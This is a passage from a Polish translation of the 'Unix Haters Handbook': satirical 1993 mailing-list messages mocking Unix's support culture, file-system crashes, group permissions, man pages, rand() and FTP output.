wyłączyłem jedną z moich maszyn. Maszyny wszystkich innych zgodnie z planem powróciły do nędznej Unixowej egzystencji. Należało zostawić tą maszynę wyłączoną, i może wyłączyć kilka innych. Unix-tanazja.

Wszyscy na Unix-Haters mówili mi, że jeśli będę chciał czynić rzeczy LEPSZYMI, będę UKARANY. Spodziewam się że jeśli jeszcze raz spróbuję znaleźć ten problem, Unix znajdzie sposób na wyczyszczenie każdego twardego dysku posiadanego przez firmę, i wtedy nauczymy się wszystkiego o błędach w programie do backupu danych które spowodowały, że wszystkie nasze taśmy nie zawierają niczego oprócz milionów kopii pliku .login roota. Unix-Haters mieli całkowitą rację.

From: MRDate: Fri, 29 Jan 93 13:32:29 ESTSubject: Medical Proof That Exposure To UNIX Rots The Brain!!!

Usunąłem nazwisko, ponieważ nie chcę wskazywać na tą nieszczęśliwą ofiarę Unixozy tylko dla ośmieszenia. To bolesna i ogłupiająca choroba i powinniśmy być sympatyczni dla biednego śliniącego się wraka jaki pozostał w jej $PATH.

>Newsgroups: comp.unix.ultrix>Subject: Re: Unaligned access in the X server.>

> Pierwsze pytanie, na jakie musisz sobie sam odpowiedzieć jest takie: czy masz kod źródło- > wy tej aplikacji? Jeśli tak zrekompiluj go, albo uruchom pod dbx i zlokalizuj błąd, i go na- > praw. Jeśli się nie da, skarż się do SPRZEDAWCY.

To jest to, co jest naprawdę złego w Unixie i jeden powód dla którego Unix jest do dupy od 20 lat i nadal jest do dupy. Są wśród nas ludzie (tacy jak ten gość) którzy NAPRAWDĘ WIERZĄ że właściwą odpowiedzią na kupowanie programu który ma więcej błędów niż [flophouse] na Manhattanie to NAPRAWIĆ GO SAMEMU zamiast domagać się od sprzedawcy jego naprawienia!

Zauważcie, że „skarż się do sprzedawcy” to ostatnia deska ratunku. To dlatego, że sprzedawcy Unixa i FILOZOFIA OTWARTYCH SYSTEMÓW NIE POZWALAJĄ na sprzedanie czegoś BEZ BŁĘDÓW. Coś co DZIAŁA jest ZASTRZEŻONE i tym samym jest ZŁE!

Unix to system operacyjny „zrób to sam” ponieważ ludzie którzy go sprzedają ogólnie mają mało albo w ogóle nie mają doświadczenia w tworzeniu odpornych na błędy środowisk komercyjnej jakości. To się dzieje kiedy hackerzy po college’u i naukowcy komputerowi staj się kierownikami wydziałów oprogramowania. Rozsądni ludzie nienawidzą Microsoft Windows, ale ma on ogromną zaletę że JEŚLI COŚ JEST ZEPSUTE NIE MOŻESZ TEGO NAPRAWIĆ!

To oznacza że klienci dzwonią, PRZEKLINAJĄ i NARZEKAJĄ. W Unixie jeśli zadzwonisz do sprzedawcy i powiesz „moja komenda oi nie działa” (*), oni zwykle zaczynają dialog podobny do tego:

Klient: Uruchamiam „oi –c –f –q /dev/fratz –t –m=5” i dostaję segmentation fault. Czy mogę dostać działającą wersję waszego gównianego systemu operacyjnego?

237

Page 238: Unix Haters Handbook

Pomoc: Hmm… To całkiem poważny problem. Mamy to na uwadze – to SPR#2232, zapisany w 1985 – będzie naprawiony w następnej wersji.

Klient: HEJ! Ale ja potrzebuję go działającego TERAZ! I mam kontrakt na serwis oprogramowania (szum papierów przez telefon) który mówi że wy dostarczacie poprawki błędów. Chcę wersję „oi(1)” z działającą opcją „-q /dev/fratz”!!

Pomoc: [myśli] Czy ma pan zainstalowanego GNUemacs na swoim systemie?Klient: Co? Tak, a co?Pomoc: Przykto mi. Nienawidzę mówić takich rzeczy, ale kiedy zainstalował pan

niekwalifikowane oprogramowanie z zewnątrz, unieważnił pan gwarancję na oprogramowanie. Pana system jest teraz w „NIEOBSŁUGIWANEJ KONFIGURACJI” co oznacza że nie możemy panu nawet powiedzieć która jest godzina, chyba że przedstawi pan list od papieża.

Klient: ARrrrGHHGHGHGHH!!! ALE – ALE!!! Ale co z „Otwartymi Systemami”!!!?!?!? Pójdę z tym problemem do waszej konkurencji!

Pomoc: Nie ma problemu, ale myślę że uczciwie jest pana poinformować że większość sprzedawców Unixa ma teraz klauzulę w kontraktach, że jeśli nawet tylko DOTKNIESZ systemu innego sprzedawcy, twój MÓZG jest w „NIEOBSŁUGIWANEJ KONFIGURACJI” i powiedzą żeby pan do nas zadzwonił.

Klient: *pisk* - ale – mój Unix...Pomoc: Cóż, skoro i tak pan jest w „NIEOBSŁUGIWANEJ KONFIGURACJI” może

mógłby pan pobrać źródła GNUoi z sieci i zbudować wersję która działa? Świetny pomysł, co?

Klient: [entuzjastycznie] Tak! Zrobię to! Mogę sam naprawiać rzeczy które są zepsute! Czy Unix nie jest WIELKI!?! [odkłada telefon]

To pierwszy znak zaawansowanej Unixozy. Następny jest taki, że ofiara chce uruchamiać X-Windows na wszystkim w zasięgu wzroku, ale syndrom X-Windows, jego symptomy i lekarstwo (napalm) to tematy na inną dyskusję.

(*) „oi(1)” to nieistniejąca komenda Unixa z dwuliterową nazwą użytą w tym przykładzie ponieważ dwuliterowa nazwa jest zwięzła i zaoszczędza jednego uderzenia w klawisz, których wiele zmarnowałem na to wyjaśnienie.

From: BBDate: Sun, 4 Apr 93 16:43:25 PDTSubject: Environments -- Why Should I Care?

Miesiące temu była wiadomość na tej liście o tym, że Unix jest jedynym systemem operacyjnym który wymaga rekompilacji programu żeby go zainstalować. Albo coś podobnego (to wszystko jest zbyt okropne i próbuję to stłumić).

Ale co gorsze: Unix jest jedynym systemem operacyjnym który wymaga od użytkownika codziennej zabawy w zarządzanie systemem. Mam na myśli środowisko. Dlaczego mam edytować mój plik „.cshrc” (cokolwiek to jest) i dopisywać linie takie jak „setenv LD_LIBRARY_PATH” i „setenv WINGZ” żeby użyć głupiego arkusza kalkulacyjnego albo edytora? Czy nie ludzie od systemu powinni to robić? Albo nawet lepiej, czy aplikacje nie powinny tego robić w trakcie instalacji? Albo nawet lepiej, czy nie może być tak jak na Macintoshu gdzie po prostu działają?! Same z siebie?! Nie trzeba pytać faceta od systemu co oznacza „<nie pamiętam nawet komunikatu błędu>”? Cytując Gadające Głowy „Mój Boże, Co Ja Zrobiłem”? Dlaczego używać tego $%@#$@&^?! Mam na myśli VMS

238

Page 239: Unix Haters Handbook

(który też nie był dobry), w którym przynajmniej wszyscy użytkownicy dziedziczyli środowisko systemowe i nie musieli się martwić o LD_LIBRARY_PATH.

Zaraz, zaraz, to prawda, chociaż C++ jest jednym małym krokiem w tył dla człowieka, Unix jest ogromnym skokiem w tył dla ludzkości…

From: ABDate: Sun, 11 Apr 93 23:02:15 -0400Subject: Group Theory

Ciekawe w jakich jestem grupach?

> groupsuser staff fax lispm

Ciekawe w jakiej grupie jest mój katalog ‘temp’?

> ls -lgd tempdrwxrwxr-x 2 alan user 512 Mar 14 20:30 temp

A, w grupie ‘user’, w tej samej co ja. W zasadzie wolałbym żeby ten katalog był w grupie ‘staff’.

> chgrp staff tempchgrp: You are not a member of the staff group

Sprawdźmy, czy coś się zmieniło?

> ls -lgd tempdrwxrwxr-x 2 alan user 512 Mar 14 20:30 temp

Najwyraźniej nie. Czy wszystkie moje grupy się tak zachowują?

> chgrp fax temp> ls -lgd tempdrwxrwxr-x 2 alan fax 512 Mar 14 20:30 temp

Więc naprawdę jestem w grupie ‘fax’, ale nie w grupie ‘staff’?

> chgrp staff tempchgrp: You are not a member of the staff group

Chyba wiem o co chodzi. Chyba muszę być członkiem jakiejś innej grupy, która też została nazwana ‘staff’. Ciekawe…

> cat /etc/groupwheel:*:0:nogroup:*:65534:

daemon:*:1: kmem:*:2: bin:*:3: tty:*:4: operator:*:5: news:*:6: uucp:*:8: audit:*:9: staff:*:10:

239

Page 240: Unix Haters Handbook

other:*:20: +:

Aha! Dla tych z was którzy nie mieli kontaktu z Yellow Pages, wyjaśniam. Ten plik jest bazą danych grup i ich członków. Grupa ‘staff’ ma numer 10 i nie ma członków. Ale są też dodatkowe grupy przechowywane w Yellow Pages – wiesz o tym bo jest tu linia zawierająca „+:” (jasne, co?). Zobaczmy co jest w Yellow Pages:

> ypmatch staff group staff:*:10:root,file-server,glr,kwh,dms,sundar,cjl,ray,djsm,tower,to-

wercsh,jp,pao,lct,leo,jck,andyc,andrew,noakes,pgs,jcma,viola,tmb,bfox,nsp,vanni,hack,kingdon,randy,berwick,djm,kerr,dick,roland,robles,caroma,cstacy,misha,hqm,mib,davis,beymer,ian,pwu,bavery,jonathan,fried-man,laurel,rst,bruce,taalebi,rs,qobi,ddl,gumby,rwk,ymtan,torrance,alan,zalondek,gill,ericldab,cwitty,mpf,spraxlo,anarch,cdsmgr,mhcoen,sgw,grg

No, no. Jest inna grupa nazwana ‘staff’, także z numerem 10, i mnóstwem członków (w tym ja).

Nie mam zamiaru nawet zaczynać spekulować o maszynerii Rube Goldberg która spowodowała dialog zaczynający moją wiadomość.

From: NFDate: Tue, 13 Apr 93 02:19:49 edtSubject: Nightmares

Nie jestem pewien, czy wszyscy na tej liście widzieli to wcześniej.

From: DLDate: Thu, 15-Dec-83 13:03:52 ESTSubject: A Nightmare

Ostatniej nocy śniłem że Prawdziwy Świat zaadoptował „Filozofię Unixa”.Poszedłem do fast-foodu na lunch. Kiedy przyszedłem okazało się że menu

zostało zdjęte, a wszyscy pracownicy stoją w rzędzie za kontuarem czekając na moje zamówienie. Każdy z nich był mniejszy niż zapamiętałem, było ich więcej niż kiedykolwiek wcześniej widziałem i mieli bardzo dziwne imiona na plakietkach.

Próbowałem złożyć zamówienie u pierwszego pracownika, ale tylko powiedział coś w stylu „syntax error”. Próbowałem innego pracownika z nie większym szczęściem. Mówił tylko „Ee?” nieważne co mu mówiłem. Miałem podobne doświadczenia z kilkoma innymi pracownikami. (Pracownik nazywający się „ed” nawet nie mówił „Ee?”, tylko patrzył na mnie tajemniczo). Oburzony znalazłem kierownika (przynajmniej pisało „man” na jego plakietce) i poprosiłem go o pomoc. Powiedział mi że nic nie wie o „pomocy”, i żebym znalazł kogoś innego z dziwną nazwą dla większych informacji.

Współpracownik z dziwną nazwą też nic nie wiedział o „pomocy”, ale kiedy powiedziałem mu że chcę złożyć zamówienie skierował mnie do dziewczyny nazywającej się „oe”, która obsługiwała porządek wejść. (Powiedział mi też o kilku innych pracownikach, ale przynajmniej miałem informację której potrzebowałem).

240

Page 241: Unix Haters Handbook

Poszedłem do „oe” i kiedy przyszła moja kolej uśmiechnęła się do mnie. Też się uśmiechnąłem. Ona znów się uśmiechnęła. W końcu zrozumiałem że nie powinienem oczekiwać prompta. Poprosiłem o hamburgera. Nie odpowiedziała, ale ponieważ nie powiedziała „Ee?” wiedziałem że zrobiłem coś dobrze. Uśmiechaliśmy się jeszcze przez chwilę, wtedy jej powiedziałem że zakończyłem swoje zamówienie. Skierowała mnie do kasy gdzie zapłaciłem i otrzymałem swoje zamówienie.

Hamburger był dobry, ale zupełnie goły… nie było nawet bułki. Wróciłem do „oe” narzekając, ale mówiła tylko „Ee?”. Poszedłem do kierownika i zapytałem go o „oe”. Kierownik wyjaśnił mi że „oe” ma tysiące opcji, ale jeśli chcę jakiejś z nich muszę najpierw wiedzieć jakie są i jak o nie zapytać.

Powiedział mi też o „vi”, który zapisze moje zamówienie i pozwoli na jego poprawienie, i jak przekazać pisemne zamówienie do „oe”. „vi” ma brzydki zwyczaj zapisywania moich poprawek dopóki nie powiem że robię poprawki, ale to i tak było łatwiejsze niż bezpośredni kontakt z „oe”.

W tym czasie byłem mocno głodny, ale nie miałem wystarczająco dużo pieniędzy na drugie zamówienie, więc przekierowałem czyjeś inne zamówienie na mój talerz. Ochrona była zupełnie niedostateczna w tym miejscu.

Kiedy wyszedłem przez drzwi, wpadłem w wielką Sieć. Krzyknąłem i obudziłem się.

From: JLDate: Wed, 14 Apr 93 23:16:47 EDTSubject: More Tales Of Unix Mail Wonder

Date: Wed, 14 Apr 93 20:13:58 EDTFrom: [email protected] (Mail Delivery Subsystem)Subject: Returned mail: User unknownTo: [email protected]

----- Transcript of session follows -----link access: Remote node failed to respondcat: write error: Broken pipe550 crd!arthur_monroe.sdf... User unknown

Właściwie to CO mi to mówi:

- że zdalny węzeł nie odpowiada?- że użytkownik jest naprawdę nieznany?- że ktoś nadepnął na kota? Czy był syjamski?

From: WYDate: Mon, 19 Apr 1993 14:21:15 PDTSubject: Forwarded Without Comment

From: KPDate: Mon, 19 Apr 1993 12:00:19 -0700Subject: Repertory Downtime

Serwer plików „repertory” będzie wyłączony jutro od 8.30 do około 9.00 w celu wymiany zepsutego dysku. System plików na złym dysku to /repertory-7 i jego

241

Page 242: Unix Haters Handbook

użytkownicy mogą doświadczyć wiadomości „przedawniony handler pliku NFS”, które będą wymagać rebootu ich stacji dla wyczyszczenia.

From: CMDate: Tue, 11 May 93 16:32:08 EDTSubject: BOOT, Don't REBOOT

Co to znaczy? I po co mam uruchamiać fsck? Dlaczego to po prostu nie działa…?

% fsck[ jęk jęk jęk ]

***** FILE SYSTEM WAS MODIFIED ********** HALT and BOOT unix (DO NOT REBOOT!!) ********** USE '/etc/reboot -n' *****

From: MPDate: Wed, 12 May 1993 14:52:36 -0400Subject: Where'd *This* Come From?

Tak więc siedzę I tracę czas przy tej Unixowej skrzynce, ponieważ zauważyłem plik core w głównym katalogu. Hmm, powiedziałem, tego nie było przed rebootem. Próbowałem zajrzeć do pliku przy pomocy dbx, potem gdb. Niestety, debuggery nie mogły go odczytać. Próbowałem puścić strings – niestety, żadnych stringów. Otworzyłem plik w emacsie. Hmm – wygląda jak coś z uruchomienia systemu. Ale maszyna uruchomiła się dobrze, i nie ma żadnej wskazówki w logach ani w pliku core jaki program mógł to zrobić.

Więc skasowałem plik core, sprawdziłem logi, zresetowałem maszynę. Maszyna wstała, plik core znów się pojawił. Ten sam rozmiar, ta sama zawartość.

Dlaczego w Unixie nie ma żadnego sposobu żeby się dowiedzieć jaki program padł? Plik core to duży śmieć na dysku. Kilka więcej bajtów w nim nie byłoby złe. Poza tym wszelkie startowe zwycięstwa i porażki lądują w plikach logów, albo na ekranie. Ale nie w tym przypadku. Ech. Jeszcze więcej uszkodzeń mózgu, dzięki uprzejmości AT&T i chmary innych.

Czy mogę dostać lepszy OS?

From: RSDate: Wed, 19 May 93 11:21:11 -0400Subject: Have I Ever Mentioned..

Wspominałem kiedyś…

…jak bardzo nienawidzę tego systemu?

Znacie Unixa – system operacyjny który ma te wszystkie fantastyczne narzędzia do sprawdzania dysku jak dcheck, icheck, fsck które pozwalają ci wertować twoje systemy plików, ale maszyna ciągle mówi „Panic – freeing free inode” po kilkugodzinnym działaniu i umiera haniebną śmiercią, zabierając ze sobą twoją pracę z ostatnich 12 godzin? Pracuję nad tym od prawie 24 godzin bez przerwy i mam zamiar rozwalić tą cholerną skrzynkę. Co za kupa gówna.

242

Page 243: Unix Haters Handbook

PS: Pierwsza osoba któwa powie „No, używasz Unixa – zasługujesz na przegraną…” zostanie opluta. Wiem o tym. Znajdźcie mi rozsądną maszynę (nie-unixową) na której działają wszystkie te śmieci których domagają się kretyni w dzisiejszych czasach (jak netnews), a zamienię się.

Mam zamiar puścić teraz taśmę instalacyjną. Czy ktoś mówił coś o sześcioznakowych nazwach plików? Cóż, przynajmniej Salvager mógłby odzyskiwać to gówno zamiast dawać komunikaty typu:

Ważny-plik-który-chciałeś inode 11365 corrupt - flush it?

NIE, DO JASNEJ CHOLERY, NIE CHCĘ GO USUNĄĆ. CHCĘ MÓJ CHOLERNY PLIK Z POWROTEM. NIE NADPISAŁEŚ GO W CZASIE PADU – WTEDY NAWET NIE ZAPISYWAŁEŚ NA TEJ PARTYCJI. DLACZEGO GO USZKODZIŁEŚ, BEZWARTOŚCIOWA KUPO GORYLEGO GÓWNA?

Teraz czuję się (troszkę) lepiej…

From: DMDate: Thu, 27 May 93 16:49:50 EDTSubject: Re: The Real Windows NT Implementation Story

> Date: Tue, 25 May 1993 18:34:58 -0700> From: KB> Subject: NT Forward>>> Właśnie otrzymałem PEWNĄ informację że Windows NT będzie rozprowadzany w formie > łańcuszka emailowego. W ciągu 60 dni otrzymasz list zawierający listę nazwisk i adresów, > łącznie z instrukcją żeby napisać 10 linii kodu C i wysłać je na adres na górze listy zanim > dodasz swoje nazwisko do spodu listy i wyślesz kopię do 84 swoich kolegów. Po zrobieniu > tego musisz po prostu czekać kilka tygodni na otrzymanie 12,5 miliona linii kodu źródło- > wego NT, który po skompilowaniu i zlinkowaniu stanie się twoim systemem NT.>> NIE PRZERYWAJ łańcuszka. Microsoft wydał miliardy na badanie co się dzieje z ludźmi > którzy przerwali łańcuszek. Jeden beta tester zapomniał wysłać kodu, i w ciągu dziesięciu > dni jego system został zaatakowany przez wirusa i następnie zniszczony przez impuls prą- > dowy. Kobieta powiedziała swojej koleżance żeby nie odpisywała na list, i w ciągu kilku > godzin wpadła w dziurę i została pożarta przez zatrute błędy [bugs] NT! Inny facet wysłał > list z powrotem do Microsoftu i w ciągu tygodnia zaczął mieć halucynacje i skończył w > szpitalu wariatów, bez końca powtarzając słowo „zwolnienia”.>> Nie mówcie nikomu że słyszeliście o tym ode mnie.

Do diabła, to prawie tak jak Unix wyewoluował do tego, czym jest dzisiaj.

From: DMDate: Sun, 13 Jun 93 12:50:11 EDTSubject: Another Indictment

243

Page 244: Unix Haters Handbook

Zdaję sobie sprawę że jest to trochę za bardzo opanowane jak na tą listę, ale miło stwierdzić że czyjeś poglądy są potwierdzone przez poważane czasopismo.

Streszczenie artykułu (Flater, Yesha & Park, „Rozszerzenia języka C dla poprawienia wykrywania błędów”) w numerze „Software – Practice & Experience” z lipca 93 zaczyna się tak:

Akceptacja języka programowania C przez środowiska akademickie i przemysł jest częściowo odpowiedzialna za „kryzys oprogramowania”.

Artykuł zawiera:

C będzie nadal używany pomimo swoich ograniczeń, nie tylko dlatego że wybór języka jest zwykle wymuszony czynnikami zewnętrznymi, ale też dlatego że wielu ludzi uzależniło się od podejścia „gorsze jest lepsze” w projektowaniu i kodowaniu.

From: RCDate: Mon, 14 Jun 93 11:00:31 EDTSubject: Working With Unix Is Causing Me To Have An Identity Crisis

Popełniłem błąd myśląc że przeczytanie manuala Unixowego zapewni mi użyteczne informacje. Manual do „passwd” pod Solarisem mówi:

-s Pokaż atrybuty hasła dla danego loginu.

-a Pokaż atrybuty haseł dla wszystkich wpisów. Używać tylko z opcją –s; nazwa nie może być podana.

Ale kiedy to uruchomiłem, oto co dostałem:

% passwd -s passwd: cassan does not exist % passwd -s -a passwd: Permission denied

Miło. Nie istnieję, ale mam nazwę i nie mogę używać programów systemowych.

From: DMDate: Tue, 22 Jun 93 22:08:51 EDTSubject: Seen On A Screen At USENIX

noone@baltic:/tmp_mnt/home/gp2/noone/$ host 153.16..1.28Segmentation fault (core dumped)noone@baltic:/tmp_mnt/home/gp2/noone/$ host 153.16.1.28term28.conference.usenix.org 153.16.1.28

Date: Mon, 28 Jun 1993 12:51 -0400From: SMSubject: Re: A Sad Comment On The Times

244

Page 245: Unix Haters Handbook

Date: Mon, 28 Jun 1993 11:55 EDT From: MN

Jednym z najczęstszych zadań administratora systemu jest pomoc użytkownikom w odzyskiwaniu ich utraconych lub uszkodzonych plików.

Z „DEC OSF/1 Guide to System Administration”, luty 1992, strona 9-1.

Przypuszczam że mówią „utraconych albo uszkodzonych” żeby ukryć prawdziwe 99,44% plików straconych przez złe użycie albo literówki w komendzie „rm”, i 0,56% z powodu właściwych uszkodzeń.

Przyznając, że większość pracy mogłaby być zaoszczędzona przez naprawienie miny lądowej - interfejsu użytkownika mogłoby naprawdę spowodować (czy odważę się to powiedzieć?) ulepszenie w Unixie, i z pewnością nie mamy szans na to.

From: WYDate: Wed, 30 Jun 1993 19:21:32 PDTSubject: Now THAT's Progress

[Technicznie to nie jest list o nienawiści do Unixa, ale raczej do „rodziny C” języków programowania.]

Z sekcji „Podziękowania” książki Scotta Meyersa „Effective C++”:

„W minionych dwóch dekadach jakie minęły [od kiedy nauczyłem się programować] przeszliśmy od 110-bodowego dalekopisu do 12-MIPSowej stacji roboczej, i od BASIC-a do C++”.

Czyli kilka rzędów wielkości poprawy sprzętu i prawie niezauważalny ruch (naprzód lub w tył, wybierzcie sobie) na froncie języków programowania.

Do diabła, prawdopodobnie przeszedł też od DTSS do Unixa.

From: RZDate: Mon, 2 Aug 93 00:30:22 -0700Subject: "Random" Numbers And Unix

Zachowanie funkcji rand() pod Unixem jest niewiarygodne. Oto cytat z manuala poniżej (wierzcie albo nie).

BŁĘDYNiższe bity generowanych liczb nie są zbyt losowe; używaj środkowych bitów. Zwłaszcza najniższy bit zmienia się pomiędzy 0 i 1.

From: MEDate: Fri, 20 Aug 93 18:36:32 EDTSubject: [The Worst File System Corruption I Have Ever Seen!]

245

Page 246: Unix Haters Handbook

------- Forwarded transaction

[1219] Amusing_Thoughts 08/20/93 16:38 (7 lines)Subject: Najgorsze uszkodzenie systemu plików jakie widziałem!Uwaga: lekko ezoteryczny materiał Unixowy.

Maszyna 386BSD padła, i kiedy próbowała wstać fsck zgłosił zły i-węzeł, numer 00-1/2. To numer „jedna druga” używając specjalnego znaku którego nie ma w ASCII. Jak naprawić niecałkowity i-węzeł? (zgłosił także wyjątek zmiennoprzecinkowy, który prawdopodobnie jest prawdziwym problemem).--[1219]--

------- End forwarded transaction

From: JZDate: Wed, 8 Sep 93 02:29:13 PDTX-Windows: Some voids are better left unfilled.Subject: Lie To Me Baby, Lie To Me

FTP mówi:

13772 bytes sent in 0.06 seconds (2.2e+02 Kbytes/s)

Zobaczmy, to wychodzi na 1802240 bitów na sekundę. To całkiem dobra sztuczka, zwłaszcza że nasze połączenie to marne 56000 bitów na sekundę.

A przy okazji miło napisać „2.2e+02” zamiast „220”; myślę że wtedy na ekranie nie byłoby wystarczającej ilości znaków.

I czy nie jest piękne kiedy FTP mówi

Hash mark printing on (8192 bytes/hash mark).

a potem zaczyna drukować hashe co 584 bajty? Ale oczywiście robi to tylko wtedy kiedy robisz transfer w trybie BINARNYM, kiedy jest w trybie „proszę po cichu zniszczyć moje pliki przez wycięcie najwyższego bitu”, ilość hashy mniej więcej zgadza się z zakładaną.

Ale według starej tradycji Unixowej, musiałem czekać aż ange-ftp powiedział mi że 1400% pliku zostało przesłane zanim pomyślał że to koniec, a ja szybciej czytam zapis naukowy liczb. Unix spowodował że jestem lepszym człowiekiem!

From: JLDate: Mon, 4 Oct 93 07:34:19 EDTSubject: Heard On The Net

Cóż, nadal lubię to co ktoś powiedział o rozwijaniu aplikacji graficznych w Windowsie i X-ie: „To jak dostać układ okresowy pierwiastków i usłyszeć: masz wszystko co ci potrzebne, idź zrób brokuła”.

Zwłaszcza dotyczy to X-a.

246

Page 247: Unix Haters Handbook

Dotyczy to także Unixa – z tym wyjątkiem że w Unixie większość dostępnych izotopów jest niestabilna, w układzie okresowym jest kilka pomyłek drukarskich, a słoiki z dostępnymi odczynnikami są podpisane skrótami po kurdyjsku.

247